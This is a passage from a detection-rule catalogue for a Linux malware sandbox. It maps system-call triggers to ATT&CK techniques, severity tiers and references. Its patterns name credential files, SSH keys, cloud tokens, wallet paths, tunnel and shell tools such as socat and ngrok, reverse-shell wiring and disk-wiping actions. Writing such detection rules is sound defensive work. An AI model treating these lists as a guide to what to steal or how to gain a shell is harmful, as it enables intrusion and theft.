Trigger: an open for reading of /etc/shadow, /etc/gshadow, /etc/security/opasswd or a backup such as /etc/shadow-, by a program other than unix_chkpwd, passwd, chpasswd, su, sudo, login, sshd or pam helpers.
Data: syscall trace (the bytes read are captured, so Details shows which accounts were read).
Why this tier: only authentication programs read these files.
References: LaZagne Linux shadow module, Elastic: Potential Shadow File Read via Command Line Utilities, shadow(5).

`credential.ssh_keys` — SSH private keys read

MEDIUM · Credential access · ✅ · Planned 0.7.1
ATT&CK: T1552.004 Private Keys (DET0549)
Trigger: a read of ~/.ssh/id_* (not .pub), /etc/ssh/ssh_host_*_key, or any file whose first captured bytes are -----BEGIN … PRIVATE KEY-----, by a program other than ssh, ssh-agent, ssh-add or sshd.
Data: syscall trace; path class credentials.
Why this tier: the SSH client itself reads keys; a sample that starts ssh is covered by lateral.ssh_spread.
References: Unit 42, Hildegard: New TeamTNT Cryptojacking Malware (2021; searches SSH keys, Docker credentials, Kubernetes tokens), Elastic: Private Key Searching Activity.

`credential.cloud_tokens` — cloud and container credentials read

HIGH · Credential access · ✅ · Planned 0.7.1
ATT&CK: T1552.001 Credentials In Files (DET0307)
Trigger: a read of ~/.aws/credentials, ~/.aws/config, ~/.config/gcloud/*, ~/.azure/*, ~/.kube/config, ~/.docker/config.json, ~/.git-credentials, ~/.netrc, or /var/run/secrets/kubernetes.io/serviceaccount/token.
Data: syscall trace.
Why this tier: only the matching CLI reads these; cloud-focused malware steals them first.
References: SecurityWeek, Crypto-Mining Worm Targets AWS Credentials (TeamTNT, 2020, from Cado Security’s report), Unit 42 Hildegard report (above), Elastic: Sensitive Identity File Open by Suspicious Process via Auditd, Sigma: Credentials In Files - Linux.
Correction: T1552.007 Container API is for querying container APIs and lists the Containers platform only; reading token files is T1552.001.

`credential.browser_store` — browser password store read

MEDIUM · Credential access · ✅ · Planned 0.7.1
ATT&CK: T1555.003 Credentials from Web Browsers (DET0037)
Trigger: a read of logins.json, key4.db, signons.sqlite under ~/.mozilla/firefox/, or Login Data, Cookies, Local State under ~/.config/{google-chrome,chromium,BraveSoftware,microsoft-edge}/, by a program that is not that browser.
Data: syscall trace.
Why this tier: backup and sync tools read browser profiles too.
References: LaZagne Linux browser modules, BeaverTail (ATT&CK S1246).

`credential.wallet` — cryptocurrency wallet files read

MEDIUM · Credential access · ✅ · Planned 0.7.1
ATT&CK: T1657 Financial Theft (DET0495), T1005 Data from Local System (DET0380); ATT&CK has no wallet sub-technique
Trigger: a read of wallet.dat, ~/.bitcoin/, ~/.electrum/wallets/, ~/.ethereum/keystore/, ~/.config/Exodus/, ~/.monero/ and similar wallet paths.
Data: syscall trace.
Why this tier: only the wallet program reads these; stealers sweep them.
References: TeamPCP Cloud Stealer (ATT&CK S9041) (searches filesystems for wallets), BeaverTail (S1246).

`credential.history_read` — shell history read

LOW · Credential access · ✅ · Planned 0.7.1
ATT&CK: T1552.003 Shell History (formerly “Bash History”; DET0385)
Trigger: a read of .bash_history, .zsh_history, .mysql_history, .psql_history, .python_history by a program other than the matching shell.
Data: syscall trace.
Why this tier: shells read their own history at start.
References: Sigma: Suspicious History File Operations - Linux; ATT&CK T1552.003 procedure examples (Kinsing).

`credential.kerberos_ccache` — Kerberos ticket cache read

MEDIUM · Credential access · ✅ · Planned 0.7.1
ATT&CK: T1558.005 Ccache Files (DET0024)
Trigger: a read of /tmp/krb5cc_*, /var/lib/sss/db/ccache_* or a keytab (*.keytab, /etc/krb5.keytab) by a program that is not a Kerberos client.
Data: syscall trace.
Why this tier: rare outside domain-joined machines.
References: MIT Kerberos, credential cache types.

`credential.proc_mem_read` — another process’s memory read

HIGH · Credential access · ✅ · Planned 0.7.1 (split from process.vm_rw)
ATT&CK: T1003.007 Proc Filesystem (DET0593)
Trigger: process_vm_readv (310) with a pid other than the caller’s, or an open for reading of /proc/PID/mem of another process (usually after reading its /proc/PID/maps).
Data: syscall trace (the target’s memory itself is never read by Antinomie).
Why this tier: debuggers do this; password scrapers do it to sshd, gnome-keyring and browsers.
References: MimiPenguin, Elastic: Potential Linux Credential Dumping via Proc Filesystem, process_vm_readv(2).

`credential.cloud_metadata` — instance metadata service contacted

HIGH · Credential access · ✅ · Planned 0.7.1
ATT&CK: T1552.005 Cloud Instance Metadata API (DET0001; ATT&CK lists the IaaS platform, which the guest is pretending to be)
Trigger: a connect or sendto to 169.254.169.254, 169.254.170.2 or fd00:ec2::254, or a DNS question or HTTP Host for metadata.google.internal.
Data: syscall trace (sockaddr); network capture (DNS, HTTP).
Why this tier: a guest that is not a cloud instance has no reason to ask; a failed attempt (nothing answers in a lab) still drops only to MEDIUM.
References: Unit 42 Hildegard report (above; queries 169.254.169.254 and 169.254.170.2), Cisco Talos, TeamTNT targeting AWS, Alibaba (2022), Elastic: Suspicious Instance Metadata Service (IMDS) API Request.

Discovery

`discovery.process_enum` — process list walked

LOW · Discovery · 🔶 · Planned 0.7.1
ATT&CK: T1057 Process Discovery (DET0034)
Trigger: getdents64 on /proc followed by reads of /proc/PID/cmdline, comm, status or exe for 10 or more pids by one process, or an exec of ps, pgrep, pidof, top.
Data: syscall trace (directory listings are captured).
Why this tier: ps and many daemons do it; for malware it usually precedes evasion.kill_list or evasion.security_disable.
References: Sigma: Process Discovery (threat-hunting set), proc(5).

`discovery.system_info` — system details read

INFO · Discovery · 🔶 · Planned 0.7.1
ATT&CK: T1082 System Information Discovery (DET0525)
Trigger: several of uname, sysinfo, reads of /etc/os-release, /proc/version, /proc/cpuinfo, /proc/meminfo, /etc/hostname, or an exec of uname, lscpu, hostnamectl, by one process.
Data: syscall trace.
Why this tier: almost every program asks something about the system.
References: Sigma: System Information Discovery.

`discovery.network_config` — network configuration read

LOW · Discovery · 🔶 · Planned 0.7.1
ATT&CK: T1016 System Network Configuration Discovery (DET0195), T1049 System Network Connections Discovery (DET0320)
Trigger: reads of /proc/net/{tcp,tcp6,udp,route,arp}, /etc/resolv.conf, /sys/class/net/*/address, ioctl(SIOCGIFCONF/SIOCGIFADDR/SIOCGIFHWADDR), netlink RTM_GETADDR/RTM_GETROUTE, or an exec of ip, ifconfig, netstat, ss, arp.
Data: syscall trace.
Why this tier: resolvers read resolv.conf; reading the MAC address is also a VM check (see evasion.sandbox_probe).
References: Sigma: System Network Discovery - Linux, Sigma: System Network Connections Discovery - Linux.

`discovery.user_enum` — users and groups listed

INFO · Discovery · ✅ · Planned 0.7.1
ATT&CK: T1033 System Owner/User Discovery (DET0093), T1087.001 Local Account (DET0303)
Trigger: an exec of id, whoami, who, w, last, getent passwd, or a full read of /etc/passwd and /etc/group by a program that is not resolving its own user.
Data: syscall trace.
Why this tier: the C library reads /etc/passwd for every user lookup.
References: Sigma: System Owner or User Discovery - Linux, Sigma: Local System Accounts Discovery - Linux.

`discovery.file_search` — file system swept

LOW · Discovery · 🔶 · Planned 0.7.1
ATT&CK: T1083 File and Directory Discovery (DET0370)
Trigger: getdents64 over 200 or more directories by one process within a minute, or an exec of find/locate with credential or document patterns (*.pem, id_rsa, *.kdbx, wallet.dat).
Data: syscall trace.
Why this tier: indexers and backup tools walk the disk; it gets weight when followed by reads of what it found.
References: Sigma: File and Directory Discovery - Linux.

`discovery.security_software` — security tools looked for

MEDIUM · Discovery · ✅ · Planned 0.7.1
ATT&CK: T1518.001 Security Software Discovery (DET0016)
Trigger: a probe (stat, access, open, /proc/*/cmdline match) of paths or names of security agents: /etc/aliyun, /usr/local/aegis, /usr/local/qcloud, /opt/CrowdStrike, falcon-sensor, osqueryd, auditd, /etc/apparmor.d, /sys/fs/selinux, clamd, wazuh, sysdig, falco.
Data: syscall trace (probed paths are recorded even when they do not exist).
Why this tier: the probes themselves are cheap and rare in benign software, but configuration tools also check for AppArmor and SELinux.
References: Cisco Talos TeamTNT report (above; looks for aliyun processes before disabling agents), Unit 42, Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products (2019), Sigma: Security Software Discovery - Linux.

`discovery.network_scan` — many hosts or ports probed

MEDIUM · Discovery · 🔶 · Planned 0.7.1
ATT&CK: T1046 Network Service Discovery (DET0376)
Trigger: one process makes connect attempts (including EINPROGRESS, ECONNREFUSED, timeouts) to 20 or more distinct address and port pairs within 10 seconds, or to one port across 10 or more hosts, or sends TCP SYNs from a raw socket. The capture confirms with SYNs that never complete (planned: tcp.flags).
Data: syscall trace (sockaddrs); network capture.
Why this tier: failures are the point, so a failed attempt does not lower it. Benign: service discovery and some monitoring agents.
References: Antonakakis et al., Understanding the Mirai Botnet (USENIX Security 2017; stateless SYN probes to ports 23 and 2323), Mirai scanner.c, Sigma: Linux Network Service Scanning - Auditd.

Command & control

`c2.reverse_shell` — socket wired to a shell’s standard input and output

HIGH · Command & control · 🔶 · Planned 0.7.1
ATT&CK: T1059.004 Unix Shell (DET0384), optionally T1095 · MBC B0022.001 Reverse Shell
Trigger: in one process, a socket that connected to a remote address is copied onto descriptors 0, 1 and 2 (dup2, dup3, fcntl(F_DUPFD)), or arrives there inherited, and then a shell or interpreter is executed, or the process reads commands from the socket and executes them.
Data: syscall trace with descriptor state (Antinomie already follows dup and inheritance).
Why this tier: no benign program hands a shell to an outbound connection.
References: Elastic: Potential Reverse Shell, Sigma: Linux Reverse Shell Indicator, Sigma: Suspicious Reverse Shell Command Line, Elastic Security Labs, A peek behind the BPFDoor (reverse and bind shells), dup2(2).

`c2.bind_shell` — listening socket wired to a shell

HIGH · Command & control · 🔶 · Planned 0.7.1
ATT&CK: T1059.004 Unix Shell · MBC B0022 Remote Access (MBC has no bind-shell method)
Trigger: bind and listen, then an accepted socket copied onto descriptors 0, 1 and 2 before a shell exec.
Data: syscall trace with descriptor state.
Why this tier: as c2.reverse_shell; inetd-style services are the only benign pattern and are not started by samples.
References: Elastic Security Labs BPFDoor article (above), Elastic: File Transfer or Listener Established via Netcat.

`network.listen_any` — listening on every interface

MEDIUM · Command & control · ✅ · Planned 0.7.1
ATT&CK: no technique covers listening as such; MBC C0001.005 Start TCP Server; T1059.004 when a shell is attached (c2.bind_shell)
Trigger: bind to 0.0.0.0, :: or a non-loopback address followed by listen, for TCP; UDP bind to a fixed port on all interfaces.
Data: syscall trace (sockaddr).
Why this tier: servers listen by design, but a sample that opens a port is offering a backdoor or a proxy.
References: ip(7) INADDR_ANY, listen(2).

`network.raw_socket` — raw or packet socket opened

MEDIUM · Command & control · ✅ · Planned 0.7.1
ATT&CK: T1095 Non-Application Layer Protocol (DET0457) when it sends crafted packets; T1040 Network Sniffing (DET0314) when it only receives
Trigger: socket(AF_PACKET, …) or socket(AF_INET/AF_INET6, SOCK_RAW, …).
Data: syscall trace.
Why this tier: DHCP clients and tcpdump use packet sockets; ping now mostly uses ICMP datagram sockets. Mirai floods and scans, and BPFDoor listens, through raw sockets.
References: packet(7), raw(7), Mirai scanner.c.

`c2.bpf_backdoor` — packet socket with a filter (magic-packet backdoor)

HIGH · Command & control · 🔶 · Planned 0.7.1
ATT&CK: T1205.002 Socket Filters (DET0162)
Trigger: in one process, a raw or packet socket (network.raw_socket) that gets a classic BPF filter (bpf.socket_filter), optionally followed by an iptables redirect or a shell.
Data: syscall trace (the filter program is captured and decoded in Triage → eBPF).
Why this tier: BPFDoor’s design; benign packet capture tools do it but are not samples.
References: Sandfly Security, BPFDoor – An Evasive Linux Backdoor Technical Analysis (2022), Elastic Security Labs BPFDoor article (above), Sigma: Bpfdoor TCP Ports Redirect, Linux Socket Filtering.

`bpf.socket_filter` — classic socket filter attached

MEDIUM · Command & control · ✅ · Exists in 0.7.0 (medium)
ATT&CK: T1205.002 Socket Filters (DET0162)
Trigger: setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER) (level 1, option 26).
Data: syscall trace; the program is decoded in Triage → eBPF.
Why this tier: tcpdump and DHCP clients attach filters too.
References: McCanne and Jacobson, The BSD Packet Filter (USENIX Winter 1993; the 0.7.0 source), socket(7), Linux Socket Filtering.

`network.tor` — Tor use

MEDIUM · Command & control · ✅ · Planned 0.7.1
ATT&CK: T1090.003 Multi-hop Proxy (DET0359)
Trigger: an exec of tor; a connect to a local SOCKS port 9050 or control port 9051; a DNS question for a .onion name; or relays from a Tor consensus file the sample wrote.
Data: syscall trace; network capture.
Why this tier: privacy tools use Tor; malware uses it to hide its server.
References: NCSC, New Sandworm malware Cyclops Blink replaces VPNFilter (2022; Linux, C2 over Tor), Tor manual (SocksPort 9050, ControlPort 9051), CAPE: network_torgateway.

`network.ip_literal` — server contacted by address, never resolved

LOW · Command & control · 🔶 · Planned 0.7.1
ATT&CK: closest is T1071.001 Web Protocols (DET0027); ATT&CK has no technique for “no DNS”
Trigger: a connect or sendto to a public address that no DNS answer in the run produced, or an HTTP request whose Host is an IP literal.
Data: syscall trace; network capture (DNS answers, HTTP host).
Why this tier: hard-coded addresses are common in malware but also in update checks and NTP; it is evidence for the IOC list more than a finding.
References: CAPE: network_cnc_http (“HTTP connection was made to an IP address rather than domain name”).

`network.dga_nxdomain` — burst of failed lookups for random names

MEDIUM · Command & control · 🔶 · Planned 0.7.1
ATT&CK: T1568.002 Domain Generation Algorithms (DET0419) · MBC B0031 Domain Name Generation
Trigger: 10 or more NXDOMAIN answers (dns.flags.rcode == 3) for distinct, high-entropy names within a minute, when the resolver answers other names.
Data: network capture (TShark DNS fields).
Why this tier: typos and search domains cause a few failures, not bursts of random names. In an isolated VM every lookup fails, so the rule needs a working resolver.
References: Intezer, Watch Your Containers: Doki Infecting Docker Servers in the Cloud (2020), ESET Ebury analysis (above), CAPE: network_dga.

`network.dns_tunnel` — data carried in DNS names

MEDIUM · Command & control · 🔶 · Planned 0.7.1
ATT&CK: T1071.004 DNS (DET0400)
Trigger: many queries to one domain with labels over 40 characters, or TXT/NULL queries at a high rate.
Data: network capture.
Why this tier: some CDNs and anti-spam lookups use long labels.
References: Elastic: Potential DNS Tunneling via NULL or Long DNS Queries; ESET Ebury analysis (above; Ebury sends stolen data in DNS queries, as exfiltration).

`network.nonstandard_port` — known protocol on an unusual port

LOW · Command & control · 🔶 · Planned 0.7.1
ATT&CK: T1571 Non-Standard Port (DET0227)
Trigger: HTTP, TLS or SSH (by TShark’s dissector) on a port other than its usual ones, or a connection to a port on a known callback list.
Data: network capture; syscall trace.
Why this tier: development servers run on odd ports.
References: Sigma: Potentially Suspicious Malware Callback Communication - Linux.

`network.irc_c2` — IRC session

MEDIUM · Command & control · ✅ · Planned 0.7.1
ATT&CK: T1071 Application Layer Protocol (DET0444; there is no IRC sub-technique)
Trigger: bytes written to a socket that start with IRC commands (NICK , USER , JOIN #, PRIVMSG ), or a connection to port 6667/6697.
Data: syscall trace (socket payloads are captured).
Why this tier: IRC clients are rare in a sample run; old bot families still use IRC.
References: Trend Micro, Perl-Based Shellbot Looks to Target Organizations via C&C (Outlaw, 2018), Unit 42 Hildegard report (above; IRC channel to the C2), CAPE: network_irc.

`network.web_service` — paste, chat or file-drop service used

LOW · Command & control · ✅ · Planned 0.7.1
ATT&CK: T1102 Web Service (DET0425), T1102.002 Bidirectional Communication (DET0035), T1567 Exfiltration Over Web Service (DET0548)
Trigger: a DNS question, TLS server name or HTTP host for api.telegram.org, discord.com/api/webhooks, pastebin.com, paste.ee, raw.githubusercontent.com, gist.githubusercontent.com, or a file-drop service.
Data: network capture; syscall trace.
Why this tier: these services are used by ordinary programs; the row lists the URL for the IOC window.
References: Elastic: Linux Telegram API Request, Anomali, Rocke Evolves Its Arsenal With a New Malware Family Written in Golang (Pastebin C2), Sigma: Suspicious Curl File Upload - Linux.

`network.beacon` — regular call-backs

LOW · Command & control · 🔶 · Planned 0.7.1
ATT&CK: T1071 Application Layer Protocol (DET0444) · MBC B0030.005 Check for Payload
Trigger: eight or more connections or requests from one process to one endpoint at a near-constant interval (see loop collapse in Noise handling).
Data: syscall trace; network capture.
Why this tier: update checks and heartbeats are regular too; it gains weight with other C2 rows to the same endpoint.
References: Active Countermeasures, RITA (beacon analysis).

`network.proxy_tunnel` — tunnel or proxy tool

MEDIUM · Command & control · ✅ · Planned 0.7.1
ATT&CK: T1572 Protocol Tunneling (DET0538), T1090 Proxy (DET0445)
Trigger: an exec of ssh -R/-L/-D, socat, chisel, frpc, ngrok, gost, iodine, or a connection to an ngrok or similar tunnel domain.
Data: syscall trace (argv); network capture.
Why this tier: administrators use these tools; samples use them to reach inside networks.
References: Elastic: Potential Linux Tunneling and/or Port Forwarding, Sigma: Communication To Ngrok Tunneling Service - Linux.

`c2.elf_download` — executable received over the network and saved

HIGH · Command & control · 🔶 · Planned 0.7.1
ATT&CK: T1105 Ingress Tool Transfer (DET0060) · MBC E1105 Ingress Tool Transfer
Trigger: bytes read from a socket that start with \x7fELF (or a shell script’s #!) and are written to a file by the same process or its curl/wget child; HIGH when that file is then executed (chained with execution.dropped_exec).
Data: syscall trace (socket reads and file writes are captured); file identity.
Why this tier: package managers download executables too, but do not run as samples.
References: Mirai loader server.c (wget, tftp and echo upload then execute), Sigma: Wget Creating Files in Tmp Directory.

Lateral movement

`lateral.ssh_spread` — SSH to hosts found on this machine

HIGH · Lateral movement · 🔶 · Planned 0.7.1
ATT&CK: T1021.004 SSH (DET0596), T1552.004 Private Keys (DET0549)
Trigger: reads of ~/.ssh/known_hosts, ~/.ssh/config or .bash_history, then ssh/scp execs or connections to port 22 on hosts named there, using keys read from ~/.ssh/.
Data: syscall trace; network capture.
Why this tier: this is worm behaviour; administrators do it by hand, not from a sample.
References: Sysdig, SSH-Snake: New Self-Modifying Worm Threatens Networks (2024), Aqua Kinsing report (above; tries every user and key combination over SSH, reads known_hosts).

`lateral.bruteforce` — repeated login attempts

HIGH · Lateral movement · 🔶 · Planned 0.7.1
ATT&CK: T1110.001 Password Guessing (DET0551)
Trigger: 10 or more short TCP sessions to port 22, 23 or 2323 (or other login services) on one or many hosts within a minute, with the client writing login prompts’ answers.
Data: syscall trace (socket payloads); network capture.
Why this tier: failed logins are the point, so failures do not lower it.
References: Antonakakis et al. (above; Mirai’s list of 62 credentials), Elastic: Potential Internal Linux SSH Brute Force Detected, Trend Micro Outlaw Shellbot report (above).

`lateral.service_exploit` — services on other hosts targeted

MEDIUM · Lateral movement · 🔶 · Planned 0.7.1
ATT&CK: T1210 Exploitation of Remote Services (DET0118); for open Docker or Redis APIs, T1133 External Remote Services (DET0354)
Trigger: connections from one process to a list of commonly exploited service ports (2375/2376 Docker, 6379 Redis, 7001 WebLogic, 8161/61616 ActiveMQ, 8080, 9200 Elasticsearch, 10250 kubelet) on several hosts, with request payloads.
Data: syscall trace; network capture.
Why this tier: monitoring tools talk to these ports too; the payload decides.
References: Trend Micro, CVE-2023-46604 (Apache ActiveMQ) Exploited to Infect Systems With Cryptominers and Rootkits (Kinsing, 2023), Intezer Doki report (above; open Docker API).

`lateral.tool_transfer` — files pushed to another host

MEDIUM · Lateral movement · ✅ · Planned 0.7.1
ATT&CK: T1570 Lateral Tool Transfer (DET0183)
Trigger: an exec of scp, rsync, sftp or curl -T with a remote destination, or ssh host 'cat > …' with the sample’s own image as input.
Data: syscall trace (argv).
Why this tier: deployment scripts do the same.
References: Elastic: Unusual Remote File Creation, Sysdig SSH-Snake report (above).

Exfiltration

`exfil.file_to_socket` — file sent straight to a socket

MEDIUM · Exfiltration · ✅ · Planned 0.7.1
ATT&CK: T1041 Exfiltration Over C2 Channel (DET0348), T1048 Exfiltration Over Alternative Protocol (DET0131)
Trigger: sendfile, splice or copy_file_range from a regular file to a socket, especially from a credential or document path.
Data: syscall trace with descriptor state.
Why this tier: web servers send files this way; samples are not web servers.
References: sendfile(2), SecurityWeek TeamTNT report (above; sends ~/.aws files to the attacker’s server).

`exfil.large_upload` — much more sent than received

MEDIUM · Exfiltration · 🔶 · Planned 0.7.1
ATT&CK: T1041, T1048
Trigger: one process sends more than 10 MiB, or ten times more than it receives, to non-local destinations; stronger when the bytes come from files it read (collection.archive_staging).
Data: syscall trace (byte counts); network capture (planned: frame lengths).
Why this tier: backups and uploads do this.
References: Elastic: File Transfer Utility Launched from Unusual Parent, Sigma: Suspicious Curl File Upload - Linux.

Collection

`collection.keylog` — input devices read

MEDIUM · Collection · ✅ · Planned 0.7.1
ATT&CK: T1056.001 Keylogging (DET0089)
Trigger: an open of /dev/input/event*, /dev/input/by-id/*kbd* or /dev/uinput, by a program other than the display server or libinput tools.
Data: syscall trace.
Why this tier: X and Wayland servers read input devices; a sample normally has no reason to. Keylogging through X11 (XRecord) makes no such call and is not seen here.
References: Linux input documentation, logkeys, Intezer, EvilGnome: Rare Malware Spying on Linux Desktop Users (2019).

`collection.tty_inject` — keystrokes pushed into a terminal

MEDIUM · Collection · ✅ · Planned 0.7.1
ATT&CK: no technique found; closest T1059.004 Unix Shell (the injected text runs as commands)
Trigger: ioctl(fd, TIOCSTI) on a terminal.
Data: syscall trace.
Why this tier: almost unused by benign software; disabled for unprivileged users on recent kernels.
References: TIOCSTI(2const), ioctl_tty(2).

`collection.screen_capture` — screen captured

LOW · Collection · ✅ · Planned 0.7.1
ATT&CK: T1113 Screen Capture (DET0346)
Trigger: an exec of import, xwd, scrot, gnome-screenshot, grim, or an open of /dev/fb0.
Data: syscall trace.
Why this tier: screenshot tools exist for users; most guests have no display.
References: Intezer EvilGnome report (above; ShooterImage), Elastic: Linux Video Recording or Screenshot Activity Detected.

`collection.av_capture` — microphone or camera opened

LOW · Collection · ✅ · Planned 0.7.1
ATT&CK: T1123 Audio Capture (DET0221), T1125 Video Capture (DET0197)
Trigger: an open of /dev/video*, /dev/snd/pcmC*D*c (capture devices), or an exec of arecord, ffmpeg -f v4l2/alsa/pulse.
Data: syscall trace.
Why this tier: conferencing software does this.
References: Intezer EvilGnome report (above; ShooterAudio), Elastic: Linux Audio Recording Activity Detected.

`collection.archive_staging` — data archived for sending

MEDIUM · Collection · 🔶 · Planned 0.7.1
ATT&CK: T1560.001 Archive via Utility (DET0298), T1074.001 Local Data Staging (DET0261)
Trigger: tar, zip, 7z, gzip, openssl enc or gpg reading files under home directories or credential paths and writing an archive into a temp or hidden directory.
Data: syscall trace; file lifecycle.
Why this tier: backups do this; the paths decide.
References: Sigma: Data Compressed, Elastic: Sensitive Files Compression.

`collection.clipboard` — clipboard read

LOW · Collection · ✅ · Planned 0.7.1
ATT&CK: T1115 Clipboard Data (DET0341)
Trigger: an exec of xclip -o, xsel -o, wl-paste.
Data: syscall trace.
Why this tier: scripts use the clipboard legitimately.
References: Sigma: Clipboard Collection with Xclip Tool, Elastic: Linux Clipboard Activity Detected.

`collection.local_sweep` — many user documents read

LOW · Collection · 🔶 · Planned 0.7.1
ATT&CK: T1005 Data from Local System (DET0380)
Trigger: one process reads 50 or more files with document, database or key extensions under home directories.
Data: syscall trace.
Why this tier: indexers and backup tools do this; it is context for exfiltration and ransomware rules.
References: Unit 42 Hildegard report (above), Sigma: Script Interpreter Spawning Credential Scanner - Linux.

Impact

`impact.ransom_rewrite` — many files rewritten and renamed

HIGH · Impact · 🔶 · Planned 0.7.1
ATT&CK: T1486 Data Encrypted for Impact (DET0215) · MBC E1486 Data Encrypted for Impact
Trigger: within 30 seconds, one process reads, writes and renames (or writes a new copy and deletes the original of) 20 or more distinct files, giving them a new common extension; the captured written bytes have high entropy.
Data: syscall trace; file lifecycles followed by inode.
Why this tier: archivers write new files, they do not replace originals in bulk.
References: Kaspersky, RansomEXX Trojan attacks Linux systems (2020), Trend Micro, LockBit’s first Linux and VMware ESXi variant (2022), CISA, AA23-039A ESXiArgs (2023).

`impact.ransom_note` — the same note dropped in many directories

MEDIUM · Impact · 🔶 · Planned 0.7.1
ATT&CK: T1486 Data Encrypted for Impact
Trigger: files with the same name, or the same written-file hash, created in three or more directories by one process.
Data: syscall trace; written-file hashes.
Why this tier: some installers drop the same README in several places; with impact.ransom_rewrite it is decisive.
References: Elastic: Potential Linux Ransomware Note Creation Detected.

`impact.mass_delete` — many files deleted

HIGH · Impact · 🔶 · Planned 0.7.1
ATT&CK: T1485 Data Destruction (DET0146) · MBC E1485
Trigger: one process unlinks 100 or more files it did not create, across several directories, within 30 seconds.
Data: syscall trace; file lifecycle (the guest hashes each file before it is deleted).
Why this tier: cleaning its own temp files is excluded; deleting other files in bulk is destruction.
References: SentinelOne, AcidRain: A Modem Wiper Rains Down on Europe (2022), Sigma: DD File Overwrite.

`impact.block_device_write` — disk written directly

HIGH · Impact · ✅ · Planned 0.7.1
ATT&CK: T1561.001 Disk Content Wipe (DET0316), T1561.002 Disk Structure Wipe (DET0297) · MBC F0014 Disk Wipe
Trigger: an open for writing of /dev/sd*, /dev/vd*, /dev/nvme*, /dev/mmcblk*, /dev/mtd*, /dev/loop*, /dev/dm-*, or ioctl(BLKDISCARD/BLKSECDISCARD/BLKZEROOUT) or the MTD erase ioctl.
Data: syscall trace.
Why this tier: only partitioning and imaging tools write raw disks.
References: SentinelOne AcidRain report (above), ESET, Industroyer2: Industroyer reloaded (2022; the AwfulShred Linux wiper).

`impact.reboot` — reboot, power-off or kernel replacement

HIGH · Impact · ✅ · Planned 0.7.1
ATT&CK: T1529 System Shutdown/Reboot (DET0559); Elastic also tags kexec with T1014 and T1611
Trigger: reboot (169) with RESTART, RESTART2, HALT, POWER_OFF or KEXEC; kexec_load (246) or kexec_file_load (320); an exec of reboot, shutdown, halt, poweroff, init 0/6, systemctl reboot.
Data: syscall trace.
Why this tier: a sample that reboots the guest ends the analysis or destroys evidence; wipers reboot after wiping.
References: reboot(2), kexec_load(2), Sigma: System Shutdown/Reboot - Linux, Elastic: Kernel Load or Unload via Kexec Detected.

`impact.miner` — cryptocurrency mining

HIGH · Impact · ✅ · Planned 0.7.1
ATT&CK: T1496.001 Compute Hijacking (DET0540) · MBC B0018.002 Cryptojacking
Trigger: socket bytes that are Stratum JSON-RPC ("method":"login", "mining.subscribe", "mining.authorize"); an argument vector with stratum+tcp://, stratum+ssl://, --donate-level, -o pool…; or a DNS name of a known pool.
Data: syscall trace (socket payloads, argv); network capture.
Why this tier: benign miners exist, but not as unknown samples.
References: XMRig source (login in src/base/net/stratum/Client.cpp, mining.subscribe in EthStratumClient.cpp), Aqua Kinsing report (above), Sigma: Linux Crypto Mining Indicators.

`impact.miner_tuning` — machine tuned for mining

MEDIUM · Impact · ✅ · Planned 0.7.1
ATT&CK: T1496.001 Compute Hijacking
Trigger: a write to /proc/sys/vm/nr_hugepages or /sys/kernel/mm/hugepages/*, modprobe msr, an open for writing of /dev/cpu/*/msr.
Data: syscall trace.
Why this tier: databases enable huge pages too; MSR writes are rare.
References: XMRig, RandomX optimization guide: MSR, XMRig, Huge pages.

`impact.fork_bomb` — runaway process creation

MEDIUM · Impact · 🔶 · Planned 0.7.1
ATT&CK: T1499.001 OS Exhaustion Flood (DET0356)
Trigger: one lineage creates more than 200 processes per second without exec, or fork/clone start failing with EAGAIN.
Data: syscall trace; process tree.
Why this tier: busy servers fork a lot but exec or exit; loss counters often rise at the same time.
References: ATT&CK T1499.001 only (no malware report verified).

`impact.ddos_flood` — packet flood

HIGH · Impact · 🔶 · Planned 0.7.1
ATT&CK: T1498.001 Direct Network Flood (DET0343)
Trigger: one process sends more than 1,000 packets per second to one destination (sendto/sendmmsg counts, raw or UDP sockets), or the capture shows a matching flood.
Data: syscall trace; network capture.
Why this tier: nothing benign floods one target from a sample run.
References: Mirai attack.h (UDP and SYN flood vectors), Microsoft XorDdos report (above).

`impact.service_stop` — services or virtual machines stopped

MEDIUM · Impact · ✅ · Planned 0.7.1
ATT&CK: T1489 Service Stop (DET0021)
Trigger: an exec of systemctl stop/disable, service … stop, esxcli vm process kill, vim-cmd vmsvc/power.off, or kill of database and virtualization processes.
Data: syscall trace.
Why this tier: administrators stop services; ransomware stops them to unlock files.
References: Trend Micro LockBit Linux-ESXi report (above; esxcli vm process kill), Sigma: Disable Or Stop Services.

`impact.inhibit_recovery` — backups or snapshots removed

MEDIUM · Impact · ✅ · Planned 0.7.1
ATT&CK: T1490 Inhibit System Recovery (DET0329)
Trigger: deletes under /var/backups, /backup*, *.bak, lvremove of snapshots, btrfs subvolume delete, vim-cmd vmsvc/snapshot.removeall.
Data: syscall trace.
Why this tier: retention jobs delete old backups.
References: BleepingComputer, Linux version of RansomHub ransomware targets VMware ESXi VMs, Elastic: ESXi Virtual Machine Snapshot Removed.

Rootkit

Most rootkit rules need kernel state rather than system calls. They belong to the Root-level activity work planned for 0.8.0.

`bpf.program` — eBPF program loaded or attached

MEDIUM · Rootkit · ✅ · Exists in 0.7.0 (medium)
ATT&CK: T1014 Rootkit (DET0377), as context
Trigger: bpf with BPF_PROG_LOAD, BPF_PROG_ATTACH or BPF_PROG_DETACH.
Data: syscall trace; programs decoded in Triage → eBPF.
Why this tier: systemd and container runtimes load cgroup and socket programs.
References: Fournier, Afchain, Baubeau, With Friends Like eBPF, Who Needs Enemies? (Black Hat USA 2021; the 0.7.0 source; companion code ebpfkit), Elastic: BPF Program or Map Load via bpftool.

`rootkit.bpf_tracing` — eBPF program that can change what others see

HIGH · Rootkit · ✅ · Planned 0.8.0
ATT&CK: T1014 Rootkit (DET0377)
Trigger: BPF_PROG_LOAD of a kprobe, tracepoint, tracing (fentry/fexit), LSM or XDP/TC program whose instructions call bpf_probe_write_user, bpf_override_return or bpf_send_signal, or that attaches to getdents64, read, execve or network receive paths.
Data: syscall trace (instructions are captured and helpers decoded today); attach points and maps planned in 0.8.0.
Why this tier: these helpers exist to tamper with other processes; the kernel warns when bpf_probe_write_user is used.
References: TripleCross, ebpfkit, bpf-helpers(7), Elastic: Suspicious Usage of bpf_probe_write_user Helper, Sigma: Potential Suspicious BPF Activity - Linux.

`rootkit.dev_mem` — kernel or physical memory opened

HIGH · Rootkit · ✅ · Planned 0.7.1
ATT&CK: T1014 Rootkit (DET0377)
